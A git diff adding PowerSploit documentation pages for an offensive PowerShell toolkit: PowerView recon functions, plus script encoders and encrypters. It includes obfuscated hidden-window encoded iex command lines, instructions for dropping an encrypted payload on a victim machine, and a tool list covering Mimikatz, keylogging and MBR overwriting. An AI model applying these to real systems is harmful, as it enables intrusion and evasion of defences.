(or a remote) machine. + +Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" \' + 'Thomas McCarthy "smilingraccoon" \' + 'Royce Davis "r3dy" \' + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Test-AdminAccess [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will use the OpenSCManagerW Win32API call to establish +a handle to the remote host. +If this succeeds, the current user context +has local administrator acess to the target. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Test-AdminAccess -ComputerName sqlserver +``` + +Returns results indicating whether the current user has admin access to the 'sqlserver' host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainComputer | Test-AdminAccess +``` + +Returns what machines in the domain the current user has access to. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Test-AdminAccess -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to check for local admin access (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.AdminAccess + +A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether +the current user has local admin rights, along with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/) + diff --git a/docs/Recon/index.md b/docs/Recon/index.md new file mode 100755 index 00000000..b3eca5c5 --- /dev/null +++ b/docs/Recon/index.md @@ -0,0 +1,111 @@ +## PowerView + +PowerView is a PowerShell tool to gain network situational awareness on +Windows domains. It contains a set of pure-PowerShell replacements for various +windows "net *" commands, which utilize PowerShell AD hooks and underlying +Win32 API functions to perform useful Windows domain functionality. + +It also implements various useful metafunctions, including some custom-written +user-hunting functions which will identify where on the network specific users +are logged into. It can also check which machines on the domain the current +user has local administrator access on. Several functions for the enumeration +and abuse of domain trusts also exist. See function descriptions for appropriate +usage and available options. For detailed output of underlying functionality, pass +the -Verbose or -Debug flags. + +For functions that enumerate multiple machines, pass the -Verbose flag to get a +progress status as each host is enumerated. Most of the "meta" functions accept +an array of hosts from the pipeline. + + +### Misc Functions: + Export-PowerViewCSV - thread-safe CSV append + Resolve-IPAddress - resolves a hostname to an IP + ConvertTo-SID - converts a given user/group name to a security identifier (SID) + Convert-ADName - converts object names between a variety of formats + ConvertFrom-UACValue - converts a UAC int value to human readable form + Add-RemoteConnection - pseudo "mounts" a connection to a remote path using the specified credential object + Remove-RemoteConnection - destroys a connection created by New-RemoteConnection + Invoke-UserImpersonation - creates a new "runas /netonly" type logon and impersonates the token + Invoke-RevertToSelf - reverts any token impersonation + Get-DomainSPNTicket - request the kerberos ticket for a specified service principal name (SPN) + Invoke-Kerberoast - requests service tickets for kerberoast-able accounts and returns extracted ticket hashes + Get-PathAcl - get the ACLs for a local/remote file path with optional group recursion + + +### Domain/LDAP Functions: + Get-DomainDNSZone - enumerates the Active Directory DNS zones for a given domain + Get-DomainDNSRecord - enumerates the Active Directory DNS records for a given zone + Get-Domain - returns the domain object for the current (or specified) domain + Get-DomainController - return the domain controllers for the current (or specified) domain + Get-Forest - returns the forest object for the current (or specified) forest + Get-ForestDomain - return all domains for the current (or specified) forest + Get-ForestGlobalCatalog - return all global catalogs for the current (or specified) forest + Find-DomainObjectPropertyOutlier- inds user/group/computer objects in AD that have 'outlier' properties set + Get-DomainUser - return all users or specific user objects in AD + New-DomainUser - creates a new domain user (assuming appropriate permissions) and returns the user object + Get-DomainUserEvent - enumerates account logon events (ID 4624) and Logon with explicit credential events + Get-DomainComputer - returns all computers or specific computer objects in AD + Get-DomainObject - returns all (or specified) domain objects in AD + Set-DomainObject - modifies a gven property for a specified active directory object + Get-DomainObjectAcl - returns the ACLs associated with a specific active directory object + Add-DomainObjectAcl - adds an ACL for a specific active directory object + Find-InterestingDomainAcl - finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects + Get-DomainOU - search for all organization units (OUs) or specific OU objects in AD + Get-DomainSite - search for all sites or specific site objects in AD + Get-DomainSubnet - search for all subnets or specific subnets objects in AD + Get-DomainSID - returns the SID for the current domain or the specified domain + Get-DomainGroup - return all groups or specific group objects in AD + New-DomainGroup - creates a new domain group (assuming appropriate permissions) and returns the group object + Get-DomainManagedSecurityGroup - returns all security groups in the current (or target) domain that have a manager set + Get-DomainGroupMember - return the members of a specific domain group + Add-DomainGroupMember - adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so + Get-DomainFileServer - returns a list of servers likely functioning as file servers + Get-DomainDFSShare - returns a list of all fault-tolerant distributed file systems for the current (or specified) domain + + +### GPO functions + + Get-DomainGPO - returns all GPOs or specific GPO objects in AD + Get-DomainGPOLocalGroup - returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences + Get-DomainGPOUserLocalGroupMapping - enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation + Get-DomainGPOComputerLocalGroupMapping - takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation + Get-DomainPolicy - returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller + + +### Computer Enumeration Functions + + Get-NetLocalGroup - enumerates the local groups on the local (or remote) machine + Get-NetLocalGroupMember - enumerates members of a specific local group on the local (or remote) machine + Get-NetShare - returns open shares on the local (or a remote) machine + Get-NetLoggedon - returns users logged on the local (or a remote) machine + Get-NetSession - returns session information for the local (or a remote) machine + Get-RegLoggedOn - returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys + Get-NetRDPSession - returns remote desktop/session information for the local (or a remote) machine + Test-AdminAccess - rests if the current user has administrative access to the local (or a remote) machine + Get-NetComputerSiteName - returns the AD site where the local (or a remote) machine resides + Get-WMIRegProxy - enumerates the proxy server and WPAD conents for the current user + Get-WMIRegLastLoggedOn - returns the last user who logged onto the local (or a remote) machine + Get-WMIRegCachedRDPConnection - returns information about RDP connections outgoing from the local (or remote) machine + Get-WMIRegMountedDrive - returns information about saved network mounted drives for the local (or remote) machine + Get-WMIProcess - returns a list of processes and their owners on the local or remote machine + Find-InterestingFile - searches for files on the given path that match a series of specified criteria + + +### Threaded 'Meta'-Functions + + Find-DomainUserLocation - finds domain machines where specific users are logged into + Find-DomainProcess - finds domain machines where specific processes are currently running + Find-DomainUserEvent - finds logon events on the current (or remote domain) for the specified users + Find-DomainShare - finds reachable shares on domain machines + Find-InterestingDomainShareFile - searches for files matching specific criteria on readable shares in the domain + Find-LocalAdminAccess - finds machines on the local domain where the current user has local administrator access + Find-DomainLocalGroupMember - enumerates the members of specified local group on machines in the domain + + +### Domain Trust Functions: + Get-DomainTrust - returns all domain trusts for the current domain or a specified domain + Get-ForestTrust - returns all forest trusts for the current forest or a specified forest + Get-DomainForeignUser - enumerates users who are in groups outside of the user's domain + Get-DomainForeignGroupMember - enumerates groups with users outside of the group's domain and returns each foreign member + Get-DomainTrustMapping - this function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds diff --git a/docs/ScriptModification/Out-CompressedDll.md b/docs/ScriptModification/Out-CompressedDll.md new file mode 100755 index 00000000..df7cff51 --- /dev/null +++ b/docs/ScriptModification/Out-CompressedDll.md @@ -0,0 +1,60 @@ +# Out-CompressedDll + +## SYNOPSIS +Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. + +PowerSploit Function: Out-CompressedDll +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Out-CompressedDll [-FilePath] +``` + +## DESCRIPTION +Out-CompressedDll outputs code that loads a compressed representation of a managed dll in memory as a byte array. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Out-CompressedDll -FilePath evil.dll +``` + +Description +----------- +Compresses, base64 encodes, and outputs the code required to load evil.dll in memory. + +## PARAMETERS + +### -FilePath +Specifies the path to a managed executable. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +Only pure MSIL-based dlls can be loaded using this technique. +Native or IJW ('it just works' - mixed-mode) dlls will not load. + +## RELATED LINKS + +[http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html](http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html) + diff --git a/docs/ScriptModification/Out-EncodedCommand.md b/docs/ScriptModification/Out-EncodedCommand.md new file mode 100755 index 00000000..6666796f --- /dev/null +++ b/docs/ScriptModification/Out-EncodedCommand.md @@ -0,0 +1,186 @@ +# Out-EncodedCommand + +## SYNOPSIS +Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. + +PowerSploit Function: Out-EncodedCommand +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### FilePath (Default) +``` +Out-EncodedCommand [[-Path] ] [-NoExit] [-NoProfile] [-NonInteractive] [-Wow64] [-WindowStyle ] + [-EncodedOutput] +``` + +### ScriptBlock +``` +Out-EncodedCommand [[-ScriptBlock] ] [-NoExit] [-NoProfile] [-NonInteractive] [-Wow64] + [-WindowStyle ] [-EncodedOutput] +``` + +## DESCRIPTION +Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. +The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. +This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} +``` + +powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream(\[IO.MemoryStream\]\[Convert\]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),\[IO.Compression.CompressionMode\]::Decompress)),\[Text.Encoding\]::ASCII)).ReadToEnd() + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput +``` + +powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA= + +Description +----------- +Execute the above payload for the lulz. +\>D + +## PARAMETERS + +### -ScriptBlock +Specifies a scriptblock containing your payload. + +```yaml +Type: ScriptBlock +Parameter Sets: ScriptBlock +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Path +Specifies the path to your payload. + +```yaml +Type: String +Parameter Sets: FilePath +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -NoExit +Outputs the option to not exit after running startup commands. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -NoProfile +Outputs the option to not load the Windows PowerShell profile. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -NonInteractive +Outputs the option to not present an interactive prompt to the user. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Wow64 +Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -WindowStyle +Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -EncodedOutput +Base-64 encodes the entirety of the output. +This is usually unnecessary and effectively doubles the size of the output. +This option is only for those who are extra paranoid. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip) + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/ScriptModification/Out-EncryptedScript.md b/docs/ScriptModification/Out-EncryptedScript.md new file mode 100755 index 00000000..36db457d --- /dev/null +++ b/docs/ScriptModification/Out-EncryptedScript.md @@ -0,0 +1,148 @@ +# Out-EncryptedScript + +## SYNOPSIS +Encrypts text files/scripts. + +PowerSploit Function: Out-EncryptedScript +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Out-EncryptedScript [-ScriptPath] [-Password] [-Salt] + [[-InitializationVector] ] [[-FilePath] ] +``` + +## DESCRIPTION +Out-EncryptedScript will encrypt a script (or any text file for that +matter) and output the results to a minimally obfuscated script - +evil.ps1 by default. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$Password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +Out-EncryptedScript .\Naughty-Script.ps1 $Password salty + +Description +----------- +Encrypt the contents of this file with a password and salt. +This will +make analysis of the script impossible without the correct password +and salt combination. +This command will generate evil.ps1 that can +dropped onto the victim machine. +It only consists of a decryption +function 'de' and the base64-encoded ciphertext. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +[String] $cmd = Get-Content .\evil.ps1 +``` + +Invoke-Expression $cmd +$decrypted = de password salt +Invoke-Expression $decrypted + +Description +----------- +This series of instructions assumes you've already encrypted a script +and named it evil.ps1. +The contents are then decrypted and the +unencrypted script is called via Invoke-Expression + +## PARAMETERS + +### -ScriptPath +Path to this script + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +Password to encrypt/decrypt the script + +```yaml +Type: SecureString +Parameter Sets: (All) +Aliases: + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Salt +Salt value for encryption/decryption. +This can be any string value. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -InitializationVector +Specifies a 16-character the initialization vector to be used. +This +is randomly generated by default. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: ((1..16 | ForEach-Object {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join '') +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FilePath +{{Fill FilePath Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: .\evil.ps1 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +This command can be used to encrypt any text-based file/script + +## RELATED LINKS + diff --git a/docs/ScriptModification/Remove-Comment.md b/docs/ScriptModification/Remove-Comment.md new file mode 100755 index 00000000..97335ae1 --- /dev/null +++ b/docs/ScriptModification/Remove-Comment.md @@ -0,0 +1,110 @@ +# Remove-Comment + +## SYNOPSIS +Strips comments and extra whitespace from a script. + +PowerSploit Function: Remove-Comment +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### FilePath (Default) +``` +Remove-Comment [-Path] +``` + +### ScriptBlock +``` +Remove-Comment [-ScriptBlock] +``` + +## DESCRIPTION +Remove-Comment strips out comments and unnecessary whitespace from a script. +This is best used in conjunction with Out-EncodedCommand when the size of the script to be encoded might be too big. + +A major portion of this code was taken from the Lee Holmes' Show-ColorizedContent script. +You rock, Lee! + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$Stripped = Remove-Comment -Path .\ScriptWithComments.ps1 +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Remove-Comment -ScriptBlock { +``` + +### This is my awesome script. +My documentation is beyond reproach! + Write-Host 'Hello, World!' ### Write 'Hello, World' to the host +### End script awesomeness +} + +Write-Host 'Hello, World!' + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Remove-Comment -Path Inject-Shellcode.ps1 | Out-EncodedCommand +``` + +Description +----------- +Removes extraneous whitespace and comments from Inject-Shellcode (which is notoriously large) and pipes the output to Out-EncodedCommand. + +## PARAMETERS + +### -Path +Specifies the path to your script. + +```yaml +Type: String +Parameter Sets: FilePath +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ScriptBlock +Specifies a scriptblock containing your script. + +```yaml +Type: ScriptBlock +Parameter Sets: ScriptBlock +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +### System.String, System.Management.Automation.ScriptBlock + +Accepts either a string containing the path to a script or a scriptblock. + +## OUTPUTS + +### System.Management.Automation.ScriptBlock + +Remove-Comment returns a scriptblock. Call the ToString method to convert a scriptblock to a string, if desired. + +## NOTES + +## RELATED LINKS + +[http://www.exploit-monday.com +http://www.leeholmes.com/blog/2007/11/07/syntax-highlighting-in-powershell/]() + diff --git a/docs/index.md b/docs/index.md new file mode 100644 index 00000000..9c001da0 --- /dev/null +++ b/docs/index.md @@ -0,0 +1,150 @@ +## Overview +PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. + +### CodeExecution +Execute code on a target machine. + + Invoke-DllInjection - Injects a Dll into the process ID of your choosing. + Invoke-ReflectivePEInjection - Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. + Invoke-Shellcode - Injects shellcode into the process ID of your choosing or within PowerShell locally. + Invoke-WmiCommand - Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel + +### ScriptModification +Modify and/or prepare scripts for execution on a compromised machine. + + Out-EncodedCommand - Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. + Out-CompressedDll - Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. + Out-EncryptedScript - Encrypts text files/scripts. + Remove-Comment - Strips comments and extra whitespace from a script. + +### Persistence + +Add persistence capabilities to a PowerShell script. + + New-UserPersistenceOption - Configure user-level persistence options for the Add-Persistence function. + New-ElevatedPersistenceOption - Configure elevated persistence options for the Add-Persistence function. + Add-Persistence - Add persistence capabilities to a script. + Install-SSP - Installs a security support provider (SSP) dll. + Get-SecurityPackage - Enumerates all loaded security packages (SSPs). + +### AntivirusBypass +AV doesn't stand a chance against PowerShell! + + Find-AVSignature - Locates single Byte AV signatures utilizing the same method as DSplit from "class101". + +### Exfiltration +All your data belong to me! + + Invoke-TokenManipulation - Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. + Invoke-CredentialInjection - Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + Invoke-NinjaCopy - Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. + Invoke-Mimikatz - Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. + Get-Keystrokes - Logs keys pressed, time and the active window. + Get-GPPPassword - Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. + Get-GPPAutologon - Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences. + Get-TimedScreenshot - A function that takes screenshots at a regular interval and saves them to a folder. + New-VolumeShadowCopy - Creates a new volume shadow copy. + Get-VolumeShadowCopy - Lists the device paths of all local volume shadow copies. + Mount-VolumeShadowCopy - Mounts a volume shadow copy. + Remove-VolumeShadowCopy - Deletes a volume shadow copy. + Get-VaultCredential - Displays Windows vault credential objects including cleartext web credentials. + Out-Minidump - Generates a full-memory minidump of a process. + Get-MicrophoneAudio - Records audio from system microphone and saves to disk. + +### Mayhem +Cause general mayhem with PowerShell. + + Set-MasterBootRecord - Proof of concept code that overwrites the master boot record with the message of your choice. + Set-CriticalProcess - Causes your machine to blue screen upon exiting PowerShell. + +### Privesc +Tools to help with escalating privileges on a target, including PowerUp. + + PowerUp - Clearing house of common privilege escalation checks, along with some weaponization vectors. + Get-System - GetSystem functionality inspired by Meterpreter's getsystem + +### Recon +Tools to aid in the reconnaissance phase of a penetration test, including PowerView. + + Invoke-Portscan - Does a simple port scan using regular sockets, based (pretty) loosely on nmap. + Get-HttpStatus - Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file. + Invoke-ReverseDnsLookup - Scans an IP address range for DNS PTR records. + PowerView - PowerView is series of functions that performs network and Windows domain enumeration and exploitation. + +## License + +The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE) unless explicitly noted otherwise. + +## Usage + +Refer to the comment-based help in each individual script for detailed usage information. + +To install this module, drop the entire PowerSploit folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module PowerSploit` + +To see the commands imported, type `Get-Command -Module PowerSploit` + +If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: +`$Env:PSModulePath.Split(';') | + % { if ( Test-Path (Join-Path $_ PowerSploit) ) + {Get-ChildItem $_ -Recurse | Unblock-File} }` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. + +## Contribution Rules + +We need contributions! If you have a great idea for PowerSploit, we'd love to add it. New additions will require the following: + +* The script must adhere to the style guide. Any exceptions to the guide line would need an explicit, valid reason. +* The module manifest needs to be updated to reflect the new function being added. +* A brief description of the function should be added to this README.md +* Pester tests must accompany all new functions. See the Tests folder for examples but we are looking for tests that at least cover the basics by testing for expected/unexpected input/output and that the function exhibits desired functionality. Make sure the function is passing all tests (preferably in mutiple OSes) prior to submitting a pull request. Thanks! + +## Script Style Guide + +**For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.** + +* Avoid Write-Host **at all costs**. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles: + * + * + +* If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'. + +* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license). + +* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. Exceptions to supported verbs will be considered on a case-by-case basis. + +* I prefer that variable names be capitalized and be as descriptive as possible. + +* Provide logical spacing in between your code. Indent your code to make it more readable. + +* If you find yourself repeating code, write a function. + +* Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use 'Throw'. If you have an error that doesn't need to stop execution, use Write-Error. + +* If you are writing a script that interfaces with the Win32 API, try to avoid compiling C# inline with Add-Type. Try to use the PSReflect module, if possible. + +* Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to. + +* PowerShell v2 compatibility is highly desired. + +* Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I'm looking for something like the following: + * `[Parameter(Position = 0, Mandatory = $True)]` + +* Don't use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias. + +* Try not to let commands run on for too long. For example, a pipeline is a natural place for a line break. + +* Don't go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader. + +* Rather than using Out-Null to suppress unwanted/irrelevant output, save the unwanted output to $null. Doing so provides a slight performance enhancement. + +* Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters. + +* If a script creates complex custom objects, include a ps1xml file that will properly format the object's output. diff --git a/mkdocs.yml b/mkdocs.yml new file mode 100644 index 00000000..f4a06080 --- /dev/null +++ b/mkdocs.yml @@ -0,0 +1,147 @@ +site_name: PowerSploit +repo_url: https://github.com/PowerShellMafia/PowerSploit/ +site_favicon: favicon.ico +pages: +- Home: 'index.md' +- Recon: + - About: 'Recon/index.md' + - Functions: + - Export-PowerViewCSV: 'Recon/Export-PowerViewCSV.md' + - Resolve-IPAddress: 'Recon/Resolve-IPAddress.md' + - ConvertTo-SID: 'Recon/ConvertTo-SID.md' + - ConvertFrom-SID: 'Recon/ConvertFrom-SID.md' + - Convert-ADName: 'Recon/Convert-ADName.md' + - ConvertFrom-UACValue: 'Recon/ConvertFrom-UACValue.md' + - Add-RemoteConnection: 'Recon/Add-RemoteConnection.md' + - Remove-RemoteConnection: 'Recon/Remove-RemoteConnection.md' + - Invoke-UserImpersonation: 'Recon/Invoke-UserImpersonation.md' + - Invoke-RevertToSelf: 'Recon/Invoke-RevertToSelf.md' + - Get-DomainSPNTicket: 'Recon/Get-DomainSPNTicket.md' + - Invoke-Kerberoast: 'Recon/Invoke-Kerberoast.md' + - Get-PathAcl: 'Recon/Get-PathAcl.md' + - Get-DomainDNSZone: 'Recon/Get-DomainDNSZone.md' + - Get-DomainDNSRecord: 'Recon/Get-DomainDNSRecord.md' + - Get-Domain: 'Recon/Get-Domain.md' + - Get-DomainController: 'Recon/Get-DomainController.md' + - Get-Forest: 'Recon/Get-Forest.md' + - Get-ForestDomain: 'Recon/Get-ForestDomain.md' + - Get-ForestGlobalCatalog: 'Recon/Get-ForestGlobalCatalog.md' + - Find-DomainObjectPropertyOutlier: 'Recon/Find-DomainObjectPropertyOutlier.md' + - Get-DomainUser: 'Recon/Get-DomainUser.md' + - New-DomainUser: 'Recon/New-DomainUser.md' + - Set-DomainUserPassword: 'Recon/Set-DomainUserPassword.md' + - Get-DomainUserEvent: 'Recon/Get-DomainUserEvent.md' + - Get-DomainComputer: 'Recon/Get-DomainComputer.md' + - Get-DomainObject: 'Recon/Get-DomainObject.md' + - Set-DomainObject: 'Recon/Set-DomainObject.md' + - Set-DomainObjectOwner: 'Recon/Set-DomainObjectOwner.md' + - Get-DomainObjectAcl: 'Recon/Get-DomainObjectAcl.md' + - Add-DomainObjectAcl: 'Recon/Add-DomainObjectAcl.md' + - Find-InterestingDomainAcl: 'Recon/Find-InterestingDomainAcl.md' + - Get-DomainOU: 'Recon/Get-DomainOU.md' + - Get-DomainSite: 'Recon/Get-DomainSite.md' + - Get-DomainSubnet: 'Recon/Get-DomainSubnet.md' + - Get-DomainSID: 'Recon/Get-DomainSID.md' + - Get-DomainGroup: 'Recon/Get-DomainGroup.md' + - New-DomainGroup: 'Recon/New-DomainGroup.md' + 